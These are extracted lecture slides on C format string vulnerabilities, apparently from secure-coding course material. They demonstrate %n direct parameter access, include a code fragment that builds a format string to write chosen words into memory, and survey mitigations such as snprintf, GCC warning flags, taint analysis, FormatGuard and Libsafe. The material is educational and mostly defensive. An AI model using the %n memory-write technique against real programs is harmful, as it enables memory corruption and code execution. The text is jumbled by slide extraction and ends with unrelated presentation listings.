address specified by the third argument (&i) 2. printf( "%4$5u%3$n%5$5u%2$n%6$5u%1$n\n", &k, &j, &i, 5, 6, 7 ); 3. printf("i = %d, j = %d, k = %d\n", i, j, k); Output: 5 6 7 i = 5, j = 10, k = 15 Direct Parameter Access -3

The printf() call on line 2 results in the 1. int i, j, k = values 0; 5, 6, and 7 printed in columns 5 characters wide 2. printf( "%4$5u%3$n%5$5u%2$n%6$5u%1$n\n", &k, &j, &i, 5, 6, 7 ); 3. printf("i = %d, j = %d, k = %d\n", i, j, k); Output: 5 6 7 i = 5, j = 10, k = 15 Direct Parameter Access

-4 1. int i, j, k = 0; 2. printf( "%4$5u%3$n%5$5u%2$n%6$5u%1$n\n", &k, &j, &i, 5, 6, 7 ); 3. printf("i = %d, j = %d, k = %d\n", i, j, k); The printf() call on line 3 prints out the values assigned to the variables i, j, and k, which represent the increasing values of the output counter from the previous printf() call Output: 5 6 7 i = 5, j = 10, k = 15 Direct Parameter Access -5

The argument number n in the conversion specification %n$ must be an integer between one and the maximum number of arguments provided to the function call. In GCC, the actual value in effect at runtime can be retrieved using sysconf(): int max_value = sysconf(_SC_NL_ARGMAX); Some systems (e.g., System V) have a low upper bound. The GNU C library has no real limit. The maximum value for Red Hat 9 Linux is 4096. Direct Parameter Access Memory Write 1. static unsigned int already_written, width_field; 2. static unsigned int write_word; 3. static char convert_spec[256];

4. already_written = 16; // first word 5. write_word = 0x9020; 6. already_written %= 0x10000; 7. 8. 9. 10. width_field = (write_word-already_written) % 0x10000; if (width_field < 10) width_field += 0x10000; sprintf(convert_spec, "%%4$%du%%5$n", width_field);

strcat(format_str, convert_spec); // last word 11. already_written += width_field; 12. write_word = 0x0804; 13. already_written %= 0x10000; 14. 15. 16. 17. width_field = (write_word-already_written) % 0x10000; if (width_field < 10) width_field += 0x10000; sprintf(convert_spec, "%%6$%du%%7$n", width_field); strcat(format_str, convert_spec) Agenda Formatted Output Variadic Functions

Formatted Output Functions Exploiting Formatted Output Functions Stack Randomization Mitigation Strategies Notable Vulnerabilities Summary Dynamic Format Strings

1. #include 2. #include 3. int main(int argc, char * argv[]) { 4. int x, y; 5. static char format[256] = "%d * %d = "; 6. 7. x = atoi(argv[1]); y = atoi(argv[2]); 8. 9. 10. 11. 12. 13.

14. if (strcmp(argv[3], "hex") == 0) { strcat(format, "0x%x\n"); } else { strcat(format, "%d\n"); } printf(format, x, y, x * y); 15. exit(0); 16. } Restricting Bytes Written - 1 Buffer overflows can be prevented by restricting the number of bytes written by formatted output functions. The number of bytes written can be restricted

by specifying a precision field as part of the %s conversion specification. Example, instead of sprintf(buffer, "Wrong command: %s\n", user); use sprintf(buffer, "Wrong command: %.495s\n", user); Restricting Bytes Written - 2 The precision field specifies the maximum number of bytes to be written for %s conversions. In the example:

The static string contributes 17 bytes. A precision of 495 ensures that the resulting string fits into a 512 byte buffer. Restricting Bytes Written - 3 Use more secure versions of formatted output library functions that are less susceptible to buffer overflows. Example, snprintf() better than sprintf(). vsnprintf() as alternative to vsprintf()). These functions specify a maximum number of bytes to write, including the trailing null byte. Restricting Bytes Written

- 4 The asprintf() and vasprintf() functions can be used instead of sprintf() and vsprintf(). These functions allocate a string large enough to hold the output including the terminating null, and they return a pointer to it via the first parameter. These functions are GNU extensions and are not defined in the C or POSIX standards. They are also available on *BSD systems. ISO/IEC WDTR 24731 Security-enhanced functions:

fprintf_s(), printf_s(), snprintf_s(), sprintf(), vfprintf_s(), vprintf_s(), vsnprintf_s(), vsprintf_s(). Security-enhanced They differ from Functions: counterparts by: their non-_s

not supporting the %n format conversion specifier, making it a constraint violation if pointers are null, the format string is invalid. These functions cannot prevent format string vulnerabilities that crash a program or are used to view memory. iostream vs. stdio C++ programmers have the option of using the iostream library, which provides input and output functionality using streams. Formatted output using iostream relies on the insertion operator <<, an infix binary operator. The operand to the left is the stream to insert the data into. The operand on the right is the value to be inserted. Formatted and tokenized input is performed using the >>

extraction operator. The standard I/O streams stdin, stdout, and stderr are replaced by cin, cout, and cerr. Extremely Insecure stdio Implementation 1. #include 2. int main(int argc, char * argv[]) { 3. 4. 5. char filename[256]; FILE *f; char format[256]; 6. 7. fscanf(stdin, "%s", filename); f = fopen(filename, "r"); /* read only */ 8. 9.

if (f == NULL) { sprintf(format, "Error opening file %s\n", filename); fprintf(stderr, format); exit(-1); } If the open fails, an error message fclose(f); is printed on line 10. This program reads a filename from stdin and attempts to open the file 10. 11.

12. 13. 14. } Extremely Insecure stdio Implementation 1. #include 2. int main(int argc, char * argv[]) { 3. 4. 5. char filename[256]; FILE *f; char format[256]; 6. 7. fscanf(stdin, "%s", filename); f = fopen(filename, "r"); /* read only */ 8.

9. if (f == NULL) { sprintf(format, "Error opening file %s\n", filename); fprintf(stderr, format); exit(-1); This program is vulnerable to } format string exploits fclose(f); This program is vulnerable to buffer overflows 10.

11. 12. 13. 14. } Secure iostream Implementation 1. #include 2. #include 3. using namespace std; 4. int main(int argc, char * argv[]) { 5. string filename; 6. ifstream ifs; 7. 8. 9. 10.

11. 12. 13. 14. } cin >> filename; ifs.open(filename.c_str()); if (ifs.fail()) { cerr << "Error opening " << filename << endl; exit(-1); } ifs.close(); Testing It is extremely difficult to construct a test suite that exercises all possible paths through a program. A major source of format string bugs comes from error-reporting code.

Because such code is triggered as a result of exceptional conditions, these paths are often missed by runtime testing. Current versions of the GNU C compiler provide flags -Wformat, -Wformat-nonliteral, and -Wformatsecurity. -Wformat The -Wformat option is included in Wall. This flag instructs the GCC compiler to: check calls to formatted output functions, examine the format string, verify that the correct number and types of arguments are supplied. This feature does not report mismatches between

signed and unsigned integer conversion specifiers and their corresponding arguments. Wformat-nonliteral This flag performs the same function as Wformat Adds warnings if the format string is not a string literal Cannot be checked, unless the format function takes its format arguments as a va_list. Wformat-security This flag performs the same function as -Wformat but adds warnings about formatted output function calls that represent possible security problems.

At present, this warns about calls to printf() where the format string is not a string literal and there are no format arguments (e.g., printf (foo)). This is currently a subset of what -Wformatnonliteral warns about, but future warnings may be added to -Wformat-security that are not included in -Wformat-nonliteral. Lexical Analysis -1 The pscan tool is a lexical analysis tool that automatically scans source code for format string vulnerabilities. The scan works by searching for formatted output functions and applying the following rule: IF the last parameter of the function is the format string, AND the format string is NOT a static string, THEN complain.

Lexical Analysis -2 This approach does not detect vulnerabilities when arguments are passed. it generates false positives if the format string is not supplied by a user or other untrusted source. The main advantage of lexical analysis is that it is extremely fast. Lexical tools have no knowledge of language semantics, so many vulnerabilities cannot be detected. Static Taint Analysis -1 Shankar

describes a system for detecting format string security vulnerabilities in C programs using a constraint-based type-inference engine. Inputs from untrusted sources are marked as tainted, Data propagated from a tainted source is marked as tainted, A warning is generated if tainted data is interpreted as a format string. The tool is built on the cqual extensible type qualifier framework. Static Taint Analysis -2

Tainting is modeled by extending the existing C type system with extra type qualifiers. The standard C type system already contains qualifiers such as const. Adding a tainted qualifier allows the types of all untrusted inputs to be labeled as tainted. Example: tainted int getchar(); int main(int argc, tainted char *argv[]) Static Taint Analysis -3 The return value from getchar() and the command-line arguments to the program are labeled and treated as tainted values.

Given a small set of initially tainted annotations, typing for all program variables can be inferred to indicate whether each variable might be assigned a value derived from a tainted source. If any expression with a tainted type is used as a format string, the user is warned of the potential vulnerability. Modifying Function the Variadic Implementation-1 Exploits of format string vulnerabilities require that the argument pointer be advanced beyond the legitimate arguments passed to the formatted output function. This is accomplished by specifying a format string that consumes more arguments than are available.

Restricting the number of arguments processed by a variadic function to the actual number of arguments passed can eliminate exploits in which the argument pointer needs to be advanced. Modifying Function the Variadic Implementation-2 It is difficult to determine when the arguments have been exhausted by passing a terminating argument. The ANSI variadic function mechanism allows arbitrary data to be passed as arguments. Pass the number of arguments to the variadic function as an argument. Safe variadic Function Implementation -1

the va_start() macro 1. #define va_start(ap,v) (ap=(va_list)_ADDRESSOF(v) has been expanded to +_INTSIZEOF(v)); \ initialize a va_count int va_count = va_arg(ap, int) variable to the number of variable arguments. 2. #define va_arg(ap,t) \ (*(t *)((ap+=_INTSIZEOF(t))-_INTSIZEOF(t))); \ if (va_count-- == 0) abort(); 3. int main(int argc, char * argv[]) { 4. int av = -1; 5. 6. av = average(5, 6, 7, 8, -1); // works

av = average(5, 6, 7, 8); // fails 7. return 0; 8. } Safe variadic Function 1. #define va_start(ap,v) (ap=(va_list)_ADDRESSOF(v) Implementation -2 +_INTSIZEOF(v)); \ int va_count = va_arg(ap, int)

2. #define va_arg(ap,t) \ (*(t *)((ap+=_INTSIZEOF(t))-_INTSIZEOF(t))); \ if (va_count-- == 0) abort(); 3. int main(int argc, char * argv[]) { 4. int av = -1; 5. 6. av = average(5, 6, 7, 8, -1); // works av = average(5, 6, 7, 8); // fails The va_arg() macro has been extended to decrement the va_count variable each time it is called. 7. return 0; 8. } Safe variadic Function 1. #define va_start(ap,v) (ap=(va_list)_ADDRESSOF(v) Implementation -3

+_INTSIZEOF(v)); \ int va_count = va_arg(ap, int) 2. #define va_arg(ap,t) \ (*(t *)((ap+=_INTSIZEOF(t))-_INTSIZEOF(t))); \ if (va_count-- == 0) abort(); 3. int main(int argc, char * argv[]) { 4. int av = -1; 5. 6. av = average(5, 6, 7, 8, -1); // works av = average(5, 6, 7, 8); // fails If the count reaches zero,

then no further arguments are available and the function fails. 7. return 0; 8. } Safe variadic Function 1. #define va_start(ap,v) (ap=(va_list)_ADDRESSOF(v) Implementation +_INTSIZEOF(v)); \ -4 int va_count = va_arg(ap, int) 2. #define va_arg(ap,t) \

(*(t *)((ap+=_INTSIZEOF(t))-_INTSIZEOF(t))); \ if (va_count-- == 0) abort(); 3. int main(int argc, char * argv[]) { 4. int av = -1; 5. 6. av = average(5, 6, 7, 8, -1); // works av = average(5, 6, 7, 8); // fails 7. return 0; 8. } The first call to average() succeeds as the -1 argument is recognized by the function as a termination condition

Safe variadic Function 1. #define va_start(ap,v) (ap=(va_list)_ADDRESSOF(v) Implementation +_INTSIZEOF(v)); \ -5 int va_count = va_arg(ap, int) 2. #define va_arg(ap,t) \ (*(t *)((ap+=_INTSIZEOF(t))-_INTSIZEOF(t))); \ if (va_count-- == 0) abort(); the va_arg() 3. int main(int argc, char * argv[]) { 4. int av = -1; 5. 6. av = average(5, 6, 7, 8, -1); // works av = average(5, 6, 7, 8); // fails

7. return 0; 8. } Fails: the user of the function neglected to pass -1 as an argument: function aborts when all available arguments have been consumed Safe variadic Function Binding The extra argument containing the count

failsof variable arguments is inserted on line 4 av = average(5, 6, 7, 8); // 1. push 8 2. push 7 3. push 6 4. push 4 // 4 var args (and 1 fixed) 5. push 5 6. call average 7. add esp, 14h Example of the assembly language that would 8. mov dword ptr instructions [av], eax need to be generated for the call to average() on line 6 to work with the modified variadic function implementation. Exec Shield Exec Shield is a kernel-based security feature for Linux IA32 developed by Arjan van de Ven and Ingo Molnar.

In Red Hat Enterprise Linux v.3, update 3, Exec Shield randomizes the stack, the location of shared libraries, and the start of the programs heap. Exec Shield stack randomization is implemented by the kernel as executables are launched. The stack pointer is increased by a random value. No memory is wasted because the omitted stack area is not paged in. FormatGuard -1 FormatGuard injects code to dynamically check and reject formatted output function calls if the number of arguments does not match the number of conversion specifications. Applications must

be recompiled FormatGuard for these checks to work. FormatGuard uses the GNU C pre-processor (CPP) to extract the count of actual arguments. This count is passed to a safe wrapper function. using FormatGuard -2 The wrapper parses the format string to determine how many arguments to expect. If the format string consumes more arguments than are supplied, the wrapper function raises an intrusion alert and kills the process. If the attackers format string undercounts or matches the actual argument count to the formatted output function, FormatGuard fails to detect the

attack. it is possible for the attacker to employ such an attack by creatively entering the arguments. Libsafe -1 Libsafe version 2.0 prevents format string vulnerability exploits that attempt to overwrite return addresses on the stack. If an attack is attempted, Libsafe logs a warning and terminates the targeted process. Libsafe includes functions. Its first task is to make sure that the functions can be safely executed based on their arguments.

safer versions of vulnerable Libsafe - 2 Libsafe executes code that is functionally equivalent (e.g., snprintf() in place of sprintf()). Libsafe is implemented as a shared library that is loaded into memory before the standard library. Some functions are re-implemented to provide the necessary checks. Example: formatted output functions are reimplemented to perform two additional checks. Libsafe - 2 The first check examines the pointer

argument associated with each %n conversion specifier to determine whether the address references a return address or frame pointer. The second check determines whether the initial location of the argument pointer is in the same stack frame as the final location of the argument pointer. Static Binary Analysis -1 It is possible to discover format string vulnerabilities by examining binary images using the following criteria: Is the stack correction smaller than the minimum value? Is the format string variable or constant? The printf() function accepts at least two

parameters: a format string and an argument. If a printf() function is called with only one argument and this argument is variable, the call may represent an exploitable vulnerability. Static Binary Analysis -2 The number of arguments passed to a formatted output function can be determined by examining the stack correction following the call. Example: Only one argument was passed to the printf() function because the stack correction is only four bytes: lea push call add

eax, [ebp+10h] eax printf esp, 4 Agenda Formatted Output Variadic Functions Formatted Output Functions Exploiting Formatted Output Functions Stack Randomization Mitigation Strategies

Notable Vulnerabilities Summary Notable Vulnerabilities: Wu-ftpd Washington University FTP daemon (wu-ftpd) is a popular UNIX FTP server shipped with many distributions of Linux and other UNIX operating systems. A format string vulnerability exists in the insite_exec() function of wu-ftpd versions before 2.6.1. wu-ftpd is a string vulnerability where the user input is incorporated in the format string of a formatted output function in the Site Exec command functionality. CDE ToolTalk The common desktop environment (CDE)

is an integrated graphical user interface that runs on UNIX and Linux operating systems. CDE ToolTalk is a message brokering system that provides an architecture for applications to communicate with each other across hosts and platforms. There is a remotely exploitable format string vulnerability in versions of the CDE ToolTalk RPC database server. Agenda Formatted Output Variadic Functions Formatted Output Functions

Exploiting Formatted Output Functions Stack Randomization Mitigation Strategies Notable Vulnerabilities Summary Summary -1 Improper use of C99 standard formatted output routines can lead to exploitation ranging from information leakage to the execution of arbitrary code. Format string vulnerabilities, in particular, are

relatively easy to discover (e.g., by using the Wformat-nonliteral flag in GCC) and correct. Format string vulnerabilities can be more difficult to exploit than simple buffer overflows because they require synchronizing multiple pointers and counters. Summary -2 The location of the argument pointer to view memory at an arbitrary location must be tracked along with the output counter when overwriting memory. An obstacle to exploitation may occur when the memory address to be examined or overwritten contains a null byte. Because the format string is a string, the formatted output function exits with the first null byte.

Summary - 3 The default configuration for Visual C++ .NET, places the stack in low memory (e.g., 0x00hhhhhh). These addresses are more difficult to attack in any exploit that relies on a string operation. Recommended practices for eliminating format string vulnerabilities include preferring iostream to stdio when possible and using static format strings when not. When dynamic format strings are required, it is critical that input from untrusted sources is not incorporated into the format string.

Recently Viewed Presentations

  • Preparing for End of Term

    Preparing for End of Term

    ParentConnection What Parents and Teachers Want to Know
  • Miss Hilton Getting to Antarctica The Expedition Food!

    Miss Hilton Getting to Antarctica The Expedition Food!

    Miss Hilton Getting to Antarctica The Expedition Food! 4300kcal/day!! Porridge 150g salami 150g cheese 6 crackers 3 chocolate bars ¼ tub pringles Dried fruit soup 1 piece flapjack cereal bars Freeze dried meal Water Weather Lowest temperature: -38ºC Maximum wind...
  • Organisation of Anti-Bullying Initiative at FAHS

    Organisation of Anti-Bullying Initiative at FAHS

    The Organisation of the Anti-Bullying Initiative at FAHS Major Themes 'Side by side' versus 'In Competition' No Blame versus Disciplinary Approach 'Ownership' versus Adoption Practical versus Theoretical Dealing with School Bullying in New Zealand Secondary Schools: the number 8 fencing...
  • Teledyne Analytical Instruments TELEDYNE AAQMS Systems TELEDYNE TELEDYNE

    Teledyne Analytical Instruments TELEDYNE AAQMS Systems TELEDYNE TELEDYNE

    The Organic compounds from the sample stream or separation column are injected into the detector housing where they are mixed with Hydrogen and air before entering the detector jet where the mixture is burned. ... organic compounds are broken down...
  • Skylight A Window on Shingled Disk Operation

    Skylight A Window on Shingled Disk Operation

    Sanjay Ghemawat, Howard Gobioff, Shun-Tak Leung Paper highlights Presents a DFS tailored to a very specific workload Mostly huge files Mostly append-only updates Mostly sequential reads Client will try to order non-sequential read Non-standard client API The environment Component failures...
  • Le Son A  Two distinctive A sounds but

    Le Son A Two distinctive A sounds but

    Le Deuxième Son . The a is sometimes pronounced further back in the mouth like ah, art, alms in English and with the lips more rounded than for the a sound described previously: This sound is becoming obsolete, but technically...
  • John Kos A PRAGMATIC APPROACH TO APPLICATION INTEGRATION

    John Kos A PRAGMATIC APPROACH TO APPLICATION INTEGRATION

    Halton 3 week cut to one hour disabled blue badge processing. ... "We can drive iPM 10 times faster our fastest administrator" ... Adopted a Cloud based CRM solution. Implemented NDL integration software.
  • Intro to Buddhism - College of the Holy Cross

    Intro to Buddhism - College of the Holy Cross

    Intro to Buddhism TOPIC: Mahâyâna Buddhism ... WORDS ARE "SAMSARIC" THE BEST WE CAN SAY, if we must speak (and we must) is that REALITY has "Tathata" [SUCHNESS] "Silence of the Buddha" as key teaching YES: Conventional Truth vs. Ultimate...